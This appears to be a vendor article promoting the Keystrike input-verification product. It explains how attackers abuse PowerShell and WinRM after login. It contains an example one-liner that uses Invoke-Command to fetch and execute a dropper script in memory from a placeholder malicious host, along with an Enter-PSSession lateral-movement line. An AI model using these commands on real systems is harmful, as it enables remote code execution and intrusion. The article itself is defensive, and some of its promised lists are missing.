PowerShell gives defenders and attackers the same thing: control. It’s a go-to tool for managing and operating infrastructure. It’s flexible, pre-installed, and designed for automation, making it both indispensable and exploitable.

Threat actors love native tools because it means they don’t have to waste time installing malware to gain control. Malware signatures can easily set off alerts, so attackers love to hijack what’s already trusted: PowerShell, often via Windows Remote Management (WinRM). These sessions look normal. Your tools see authentication, not intent. And that’s the root issue. PowerShell isn’t the problem. Our failure to verify the source of the input is.

When Attackers Use What You Trust

Attackers rarely show up with custom payloads anymore. Custom payloads have signatures that may be already known to be malicious, and their presence and use can easily set off alarms. They prefer to live off the land, especially post-compromise. Native tooling avoids signature detection, and can easily hide malicious intent. 

After phishing a credential or accessing an exposed RDP port, they don’t require immediately dropping in malware. They make use of built-in capabilities like WinRM to move laterally and gather intel on the environment. PowerShell executes scripts directly in memory using trusted admin workflows which makes it easy to fly under the radar.

An example pattern looks like this:

Invoke-Command -ComputerName HR-FS1 -ScriptBlock {
  iwr http://malicious.site/dropper.ps1 -UseBasicParsing | iex
}

No files or disk I/O that could trigger EDR alerts. Just a remote PowerShell command that runs in memory, appearing identical to admin maintenance. Your SIEM logs it as standard admin activity.

Lateral movement via PowerShell takes the same simple path:

Enter-PSSession -ComputerName DOMAIN-CTRL-01

Attackers can run single-line scripts and reuse session credentials without triggering MFA or privilege alerts if a user has already granted a privileged session. PowerShell accepts input from any source, making it unable to verify whether commands came from a real keyboard or a remote attacker.

Security Controls Lose Sight After Authentication

Most modern environments rely on a mix of PAM, EDR, SIEM, and just-in-time access. These systems provide logging and controls, but lose sight once the session is authenticated successfully. The session appears legitimate but your security stack assumes human input where there is none.

Here’s how common layers fail to detect the real threat:

The breach doesn’t begin at login. It begins after. That’s where today’s tools go blind.

The Anatomy of a Trusted Session Turned Rogue

To see where this goes wrong and how it can be stopped, here’s the typical attacker workflow with and without input enforcement:

Keystrike inserts an input-level check before commands reach execution. If input wasn’t physically typed on a verified HID device, it doesn’t get through.

Verifying the Signal, Not Just the Session

Every session is just a pipe. Once initiated, the session allows execution of commands, regardless of intent. Keystrike closes this gap by enforcing only legitimate human-issued input. It verifies that commands come from a physically present user via a cryptographically trusted input. No signal, no execution.

This fundamentally changes what’s possible for an attacker:

This isn’t retrospective forensics. This is pre-execution enforcement.

Gating Automation Without Breaking Admin Work

You can’t block PowerShell. Admins rely on it to keep infrastructure running. What you can do is block how it’s misused.

Keystrike doesn’t disable the shell, it validates the input in the channel. Scripts typed by an admin on a verified workstation? Allowed. Scripts injected by malware or remote Command and Control (C2) frameworks? Dropped on entry.

This creates a secure-by-default experience—usable for teams, unusable for attackers.

Why Logging Can’t Catch This in Time

By the time your logging catches something suspicious, it’s too late. Logs are for forensics rather than prevention.

You might spot a Set-ExecutionPolicy Bypass command at 2:13 am. But that’s after credentials were dumped and data exfiltrated over DNS. Logging helps you investigate the breach but it’s not timely, and doesn’t provide any preventative capabilities. 

Keystrike doesn’t wait for detection. It blocks execution unless a verified human is behind the keyboard. That subtle change shifts your posture from reactive to preventive.

Rethinking the Problem: It's Not the Shell

PowerShell isn’t flawed. It’s precise, powerful, and critical to modern IT. But it trusts any input as long as the session is valid. And that’s the exploit.

What needs to change is our assumption that session activity is always human-driven. Once you challenge that, everything else follows.Keystrike does exactly that—checking not what command is being issued, but how.

If it’s not typed, it doesn’t run.

Your Real Perimeter Is the Activity

This isn’t just about PowerShell. It’s about trust, trust in the systems you build, the tools your team relies on, and the assumptions that hold it all together.

You’re not chasing attackers because you missed the alert. You’re chasing them because the system never flagged what looked legitimate: a trusted session, authenticated credentials, familiar commands. You’ve felt that frustration—when everything did what it was supposed to, and it still wasn’t enough.

PowerShell works because it listens. Keystrike makes sure it listens only to the right people. That’s the shift—from observing the blast radius to preventing the ignition.